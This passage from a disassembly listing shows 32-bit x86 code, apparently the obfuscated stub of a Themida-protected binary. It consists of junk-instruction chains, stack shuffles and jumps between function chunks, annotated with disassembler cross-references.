mov [esp+0Ch+var_C], esi
mov esi, esp
push edx
jmp loc_569247
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1F0
loc_562931: ; CODE XREF: sub_56F1F0+5B11j
sub esi, ebp
pop ebp
sub esi, 2E7230F6h
inc esi
sub esi, 8B71C4C3h
add edi, esi
pop esi
sub edi, edx
sub edi, 5C4A144Ah
mov edx, [esp+0]
jmp loc_5620E1
; END OF FUNCTION CHUNK FOR sub_56F1F0
; =============== S U B R O U T I N E =======================================
sub_562954 proc near ; CODE XREF: sub_564BC5+716Cj
; FUNCTION CHUNK AT 00569157 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572F41 SIZE 0000000D BYTES
push ebp
mov ebp, 453A4AA0h
mov edi, ebp
pop ebp
jmp loc_569157
sub_562954 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_562962: ; CODE XREF: sub_56241E-13C5j
xor dx, cx
jmp loc_560C54
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_56296A: ; CODE XREF: sub_56A7FB-9838j
sub ch, dh
push [esp+8+var_8]
pop edx
add esp, 4
add al, 0E5h
sub al, ch
sub al, 0E5h
pop cx
sub al, bl
push ebx
jmp loc_574F9F
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_562986: ; CODE XREF: sub_572075-10753j
push ecx
mov ecx, esp
push 2B98h
mov [esp+8+var_8], esi
mov esi, 1D2B409Fh
not esi
push edx
mov edx, 1D490F5Ch
sub esi, 113F4CBCh
jmp loc_56BFFB
; END OF FUNCTION CHUNK FOR sub_572075
; =============== S U B R O U T I N E =======================================
sub_5629A9 proc near ; DATA XREF: Themida_:0055FDC0o
neg word ptr [esp+0]
pushf
jmp loc_55FF9F
sub_5629A9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5629B3: ; CODE XREF: sub_564D26-478Ej
pop edi
add ebx, 56477267h
add ebx, 4C02379Dh
add ebx, ecx
jmp loc_562433
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5629C7: ; CODE XREF: sub_561418+123DEj
add eax, ebp
pop ebp
add ecx, eax
pop eax
add ecx, edx
push esi
mov esi, 273E5483h
push edi
jmp loc_570103
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5629DB: ; CODE XREF: sub_5685B2-8401j
pop ebp
jmp loc_5702F4
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_5629E1: ; CODE XREF: sub_566C83+D553j
add ebx, ecx
mov ecx, [esp+4+var_4]
jmp loc_560655
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5629EB: ; CODE XREF: sub_57549C-2DE6j
pop ebp
add eax, edx
add eax, 1E7D67C6h
mov edx, [esp+4+var_4]
add esp, 4
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 6E201682h
jmp loc_564151
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_562A0F: ; CODE XREF: sub_56BD44-9D32j
pop esp
add eax, 8EB5816h
jmp loc_561D89
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_562A1A: ; CODE XREF: sub_56FD97-6026j
mov esi, 22622D6h
add eax, 576B0625h
sub eax, esi
push edi
mov edi, 576B0625h
sub eax, edi
pop edi
jmp loc_565E14
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_562A34: ; CODE XREF: sub_56657A-1FA0j
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
sub ecx, esi
jmp loc_575261
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5731F9
loc_562A4A: ; CODE XREF: sub_5731F9+13j
add bl, 0E2h
pop ecx
sub bl, 1
push 0
jmp loc_574E8E
; END OF FUNCTION CHUNK FOR sub_5731F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_562A5B: ; CODE XREF: sub_5685B2-31A6j
pop edx
and esi, ecx
pop ecx
add esi, 22BB73AFh
push 0E8Eh
mov [esp-10h+arg_C], ebp
mov ebp, 36A652E8h
dec ebp
xor ebp, 417106DFh
shl ebp, 1
jmp loc_57124A
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_562A80: ; CODE XREF: sub_56AB5E-1A9Ej
pop esp
xor al, dh
mov edx, [esp+4+var_4]
add esp, 4
xor bl, al
jmp loc_560BDC
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_562A90: ; CODE XREF: Themida_:0056253Cj
mov eax, 60C55633h
jmp loc_5663F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_562A9A: ; CODE XREF: sub_569DB5+9B3Aj
mov [esp+8+var_8], ebx
mov ebx, 4
jmp loc_566CAC
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_562AA7: ; CODE XREF: sub_564020+A189j
add esp, 4
xor eax, edi
pop edi
push edx
mov edx, 55C5BEBh
push 25B5h
mov [esp+4+var_4], ebp
mov ebp, 4BE73788h
xor edx, ebp
pop ebp
push edi
push ebx
mov ebx, 37DD4458h
mov edi, 0AA96BE2Ah
sub edi, ebx
pop ebx
sub ebx, edi
push [esp+4+var_4]
pop edi
jmp loc_564393
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_562AE0: ; CODE XREF: sub_574A21-CA34j
xor ebx, [esp+8+var_8]
xor [esp+8+var_8], ebx
xor ebx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edx
jmp loc_560F6A
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
loc_562AF2: ; CODE XREF: Themida_:00560CB0j
sub esp, 4
mov [esp], eax
push 3568h
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
pop edx
pop eax
push ebx
mov ebx, 1AD90317h
shl ebx, 3
sub ebx, 5141724h
dec ebx
push ecx
mov ecx, 58E84516h
or ecx, 33BE70E9h
and ecx, 7474690Ah
jmp loc_56B0DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_562B36: ; CODE XREF: sub_56E126-A8A3j
push 8ABh
mov [esp+8+var_8], ebp
push 454A736Eh
pop ebp
jmp sub_56D589
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_562B49: ; CODE XREF: sub_56616D+897Fj
not ecx
jmp loc_573607
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_562B50: ; CODE XREF: Themida_:00564D98j
xchg edx, [esp]
pop esp
mov [esp], edi
mov edi, 4
sub eax, 687C24C3h
add eax, edi
add eax, 687C24C3h
jmp loc_5696B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_562B6D: ; CODE XREF: sub_566B37+Cj
push [esp+4+var_4]
pop ebp
add esp, 4
push 138Ch
jmp loc_5670F8
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_562B7E: ; CODE XREF: sub_56102D+ED3Dj
add ebp, ebx
sub ebp, 446D2D6Fh
pop ebx
sub ebp, 4
push ebp
push [esp+arg_0]
jmp loc_56777D
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_562B97: ; CODE XREF: sub_56628B-622Aj
mov [esp+8+var_8], edi
push ebp
jmp loc_5702CE
; END OF FUNCTION CHUNK FOR sub_56628B
; =============== S U B R O U T I N E =======================================
sub_562BA0 proc near ; DATA XREF: Themida_:0055FD04o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00564F40 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BC18 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C33E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056FADB SIZE 00000007 BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
pop ecx
add esp, 4
push eax
jmp loc_56FADB
sub_562BA0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5683C0
loc_562BB0: ; CODE XREF: sub_5683C0-D8Fj
pop esi
push 3D93h
mov [esp+0Ch+var_C], ebx
mov ebx, 475522B0h
push esi
mov esi, 589D4AB8h
or esi, 5F2D04C9h
or esi, 1FB070Eh
not esi
neg esi
xor esi, 9841AF9Eh
push edi
mov edi, 14F602C8h
sub ebx, edi
pop edi
add ebx, esi
add ebx, 14F602C8h
jmp loc_566064
; END OF FUNCTION CHUNK FOR sub_5683C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_562BF0: ; CODE XREF: sub_56241E+945Ej
pop eax
push 464h
mov [esp+8+var_8], ecx
jmp loc_565CFE
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_562BFE: ; CODE XREF: sub_56AB5E-1987j
xor ecx, 1D2EF71Ch
sub edx, ecx
pop ecx
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
push edx
jmp loc_5680B3
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_562C14: ; CODE XREF: Themida_:005701F2j
add esp, 4
jmp loc_57286A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_562C1F: ; CODE XREF: sub_56F3B2-81FBj
and ebx, 457E6649h
neg ebx
sub ebx, 0FBD7D9FCh
add edi, ebx
push [esp+4+var_4]
pop ebx
push edi
mov edi, esp
add edi, 4
jmp loc_56DF43
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_562C41: ; CODE XREF: sub_563BCC+646Dj
push 1C5Bh
mov [esp+4+var_4], esi
mov esi, 0FFFFFFFFh
add ebx, esi
mov esi, [esp+4+var_4]
add esp, 4
sub ebx, 1
xor ebx, 49731C10h
push 104Bh
mov [esp+4+var_4], ebx
pop dword ptr [edi+20h]
jmp loc_567FF2
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E27
loc_562C72: ; CODE XREF: sub_570E27-61E1j
push edx
jmp loc_57501F
; END OF FUNCTION CHUNK FOR sub_570E27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_562C78: ; CODE XREF: sub_5685B2+EFDj
mov ecx, 4
sub ebp, ecx
pop ecx
xchg ebp, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
mov [esp-14h+arg_10], ecx
push esp
jmp loc_56FF53
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_562C8F: ; CODE XREF: sub_575420-1062Aj
pop ecx
push ecx
mov cl, 4
jmp loc_56938E
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_562C98: ; CODE XREF: sub_56BD44-2659j
mov [esp+4+var_4], ecx
mov ecx, 4
jmp loc_56E47F
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_562CA5: ; CODE XREF: sub_5634AF+DCC7j
not dword ptr [esp+0]
pop eax
jmp loc_574606
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_562CAE: ; CODE XREF: sub_5713A7-9B74j
shl ebx, 8
push edx
mov edx, 672D3572h
shr edx, 5
sub edx, 8F9D087Ah
add ebx, 143F2480h
add ebx, edx
sub ebx, 143F2480h
pop edx
xor ebx, 68261709h
sub ebx, 0EE7CB698h
sub edx, ebx
pop ebx
sub edx, 2556007Eh
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_562CE9: ; CODE XREF: sub_5678CB+CF23j
sub edi, edx
jmp loc_56A05A
; ---------------------------------------------------------------------------
loc_562CF0: ; CODE XREF: sub_5678CB+A4D1j
add esp, 4
jmp loc_56FF79
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_562CFB: ; CODE XREF: sub_571F6F-1953j
pop eax
sub esp, 4
mov [esp+8+var_8], ecx
push edx
mov edx, 1ABF2D63h
shl edx, 4
sub edx, 63C25D8Ah
or edx, 774A7310h
not edx
sub edx, 41E23538h
push esi
mov esi, edx
mov ecx, esi
jmp loc_56A688
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_562D29: ; CODE XREF: sub_567049+9j
add ebp, edx
jmp loc_574C03
; END OF FUNCTION CHUNK FOR sub_567049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_562D30: ; CODE XREF: sub_5678CB+D52j
and edi, esi
jmp loc_571D99
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_562D37: ; CODE XREF: sub_561027-465j
add esp, 4
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
pop esp
jmp loc_57195F
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_562D55: ; CODE XREF: sub_563FA2+Dj
sub esi, 0F2D307Eh
jmp loc_56CC8D
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_562D60: ; CODE XREF: sub_56C7AA-62A9j
dec esi
xor esi, 49A37915h
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+0Ch+var_C]
jmp loc_572120
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB93
loc_562D7E: ; CODE XREF: sub_56AB93-1E8Fj
add esi, 2
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
push dword ptr [esp+4]
push [esp+8+var_8]
pop esi
push 2270h
jmp loc_56AC57
; END OF FUNCTION CHUNK FOR sub_56AB93
; ---------------------------------------------------------------------------
loc_562DA9: ; CODE XREF: Themida_:00568746j
push 66A7h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_56C902
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568F83
loc_562DBB: ; CODE XREF: sub_568F83+2E29j
pop ebx
add esi, ebx
mov ebx, [esp-4+arg_0]
jmp loc_5737A2
; END OF FUNCTION CHUNK FOR sub_568F83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_562DC6: ; CODE XREF: sub_56F1DB+1j
mov ebp, 547E5335h
jmp loc_568EF4
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD6F
loc_562DD0: ; CODE XREF: sub_56FD6F-66E0j
pop esp
push edi
mov edi, esp
add edi, 4
jmp sub_574896
; END OF FUNCTION CHUNK FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_562DDF: ; CODE XREF: sub_57354D-1D9Bj
pop esi
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
jmp loc_56EA12
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_562DFA: ; CODE XREF: sub_56CD13+7B21j
mov [esp+10h+var_10], eax
mov eax, 296E54EDh
add [esp+10h+var_C], 3DF946B7h
jmp sub_573876
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_562E0F: ; CODE XREF: sub_5685B2-1FA8j
sub bh, dl
jmp loc_56B6ED
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_562E16: ; CODE XREF: sub_5690E8+5A91j
shl edx, 5
neg edx
shl edx, 6
add edx, 4371309Fh
add ebx, edx
pop edx
add eax, ebx
mov ebx, [esp+10h+var_10]
add esp, 4
sub ebp, eax
pop eax
add eax, ebp
jmp loc_564A13
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_562E3C: ; CODE XREF: sub_57354D-2C57j
push [esp+4+var_4]
push [esp+8+var_8]
pop esi
add esp, 4
sub esp, 4
mov [esp+8+var_8], esi
jmp loc_56B1D5
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_562E51: ; CODE XREF: Themida_:0056ECBFj
or ebx, 6BDA1D78h
jmp loc_56BD8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_562E5C: ; CODE XREF: sub_56DA43-D136j
pop eax
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
sub esp, 4
jmp loc_571E0D
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_562E7E: ; CODE XREF: sub_56C38F+67B2j
xor [esp+0], ecx
xor ecx, [esp+0]
mov esp, [esp+0]
push ebx
jmp loc_5668D8
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_562E8D: ; CODE XREF: sub_5673C3+2940j
mov [esp+0], esi
push edi
mov edi, esp
jmp loc_568292
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_562E98: ; CODE XREF: sub_566400+66Fj
add eax, 245C24C6h
jmp loc_5641C5
; END OF FUNCTION CHUNK FOR sub_566400
; =============== S U B R O U T I N E =======================================
sub_562EA2 proc near ; DATA XREF: Themida_:0055FE1Co
var_2 = word ptr -2
mov ax, fs:[edx]
push small 120h
mov [esp+2+var_2], ax
jmp loc_55FF9F
sub_562EA2 endp
; =============== S U B R O U T I N E =======================================
sub_562EB3 proc near ; CODE XREF: sub_561F05+32E8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056A284 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005714BE SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], eax
jmp loc_5714BE
sub_562EB3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_562EBE: ; CODE XREF: sub_56D3AF-8408j
push esp
pop [esp+0Ch+var_C]
push ebx
mov ebx, 4
sub [esp+0Ch+var_8], 6173036Bh
add [esp+0Ch+var_8], ebx
jmp loc_570CC5
; END OF FUNCTION CHUNK FOR sub_56D3AF
; =============== S U B R O U T I N E =======================================
sub_562ED9 proc near ; DATA XREF: Themida_:0055FE40o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560670 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572C06 SIZE 00000009 BYTES
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
jmp loc_560670
sub_562ED9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_562EE4: ; CODE XREF: sub_566DC7+9171j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_562EE9: ; CODE XREF: sub_5738F4-5754j
xor ebx, [esp+0]
mov esp, [esp+0]
; END OF FUNCTION CHUNK FOR sub_5738F4
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_562EEF: ; CODE XREF: sub_5605BC+4E98j
; sub_5605BC+13ADCj
push dword ptr [edi+24h]
sub [esp+20h+var_20], 0EBC1A24h
jmp loc_565838
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637A1
loc_562EFE: ; CODE XREF: sub_5637A1-105Cj
mov [esp+4+var_4], edx
push dword ptr [esp+4]
pop edx
pop [esp+4+var_4]
mov esp, [esp+0]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5637A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_562F11: ; CODE XREF: sub_567D31-5B57j
sub ecx, eax
jmp loc_562F72
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_562F18: ; CODE XREF: sub_56EFD2-E2A6j
push esi
push ebx
mov ebx, 2
push eax
mov eax, ebx
jmp loc_5707E8
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
add dword ptr [esp], 4
pop edx
push 4297h
mov [esp], edi
sub esp, 4
mov [esp], edx
mov edx, 4B3323BDh
mov edi, 4B3323B9h
jmp loc_5711CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_562F52: ; CODE XREF: sub_5666C3+E50Fj
pop ecx
sub eax, ebp
add eax, 7F0C0155h
jmp sub_56FB8A
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_562F5F: ; CODE XREF: sub_563DCB-2842j
mov dh, bl
pop ebx
mov eax, [esp-4+arg_0]
jmp loc_5677E7
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_562F6A: ; CODE XREF: sub_571088-6510j
pop edx
mov dl, ah
jmp loc_5672A6
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_562F72: ; CODE XREF: sub_567D31-4E1Ej
pop eax
jmp loc_564E97
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_562F78: ; CODE XREF: sub_56C7AA-1AA5j
dec eax
xchg eax, ebx
sub ebx, 0E83E201Ah
add eax, ebx
pop ebx
jmp sub_56C48D
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_562F88: ; CODE XREF: sub_57354D-266Aj
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ecx
mov ecx, 27457A11h
sub esi, 6B9519CBh
sub esi, 6CD5132Dh
jmp loc_57277D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_562FB3: ; CODE XREF: sub_571C0A-9EEBj
mov ebp, [esp+0]
jmp loc_5692C6
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_562FBB: ; CODE XREF: sub_5620B7+52E2j
sub dl, 7Ch
mov bh, dl
pop edx
jmp loc_565DDB
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_562FC6: ; CODE XREF: sub_5685B2-15Dj
add eax, ebp
jmp loc_571F82
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_562FCD: ; CODE XREF: sub_57146D-6794j
add edx, 4
jmp loc_565823
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_562FD8: ; CODE XREF: sub_56BD44-2618j
pop ecx
push ecx
mov ecx, 2
add edi, ecx
mov ecx, [esp+4+var_4]
jmp loc_566BCD
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_562FE9: ; CODE XREF: sub_574A21-3F53j
xor esi, edx
xor edx, esi
xor esi, edx
jmp loc_56D14E
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_562FF4: ; CODE XREF: sub_569E1B+6BAAj
sub dh, 69h
push eax
mov ah, 0C1h
xor ah, 0DBh
and ah, 4Ch
not ah
add ah, 0B8h
neg ah
sub ah, 0F4h
sub dh, ah
pop eax
jmp loc_56076A
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_563012: ; CODE XREF: sub_56B11B-2265j
add edi, 4
xchg edi, [esp+0]
pop esp
shr eax, 18h
xor eax, ecx
push 6178h
mov [esp+0], eax
push eax
push dword ptr [esp+4]
jmp loc_56AB28
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_563030: ; CODE XREF: sub_56616D-7A0j
add esp, 4
mov edi, [esp-0Ch+arg_8]
add esp, 4
jmp sub_5605BC
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D93
loc_56303E: ; CODE XREF: sub_568D93+4555j
and ebx, 62F502B1h
add ebx, 0F0993374h
jmp loc_572944
; END OF FUNCTION CHUNK FOR sub_568D93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_56304F: ; CODE XREF: sub_56A119+5B82j
add edi, 4
xor edi, [esp+0]
xor [esp+0], edi
jmp loc_56A04C
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_563060: ; CODE XREF: sub_560EA2+11ECAj
push edx
jmp loc_56D31C
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_563066: ; CODE XREF: sub_561541-209j
mov [esp+8+var_8], ecx
jmp loc_572915
; END OF FUNCTION CHUNK FOR sub_561541
; =============== S U B R O U T I N E =======================================
sub_56306E proc near ; DATA XREF: Themida_:0055FECCo
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005645A0 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00565E71 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568A0E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F1E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057444E SIZE 00000029 BYTES
mov ax, [esp+0]
jmp loc_57444E
sub_56306E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_563077: ; CODE XREF: sub_5754DA-D0A5j
pop eax
push cx
mov ch, 0DDh
xor bl, ch
pop cx
push 144Bh
mov [esp+0Ah+var_C+2], ebx
mov bh, 64h
push ebx
not [esp+0Eh+var_D]
jmp loc_5604D1
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
loc_563094: ; CODE XREF: Themida_:0056A1E9j
mov esi, [esp]
jmp loc_56D594
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56309C: ; CODE XREF: sub_5678CB+5B2Bj
and cl, 60h
shl cl, 3
or cl, 59h
jmp loc_56AFA0
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
loc_5630AA: ; CODE XREF: Themida_:00561A41j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56917E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_5630B5: ; CODE XREF: sub_563819+A786j
pop edx
push eax
mov eax, esp
push esi
mov esi, 3AAD5897h
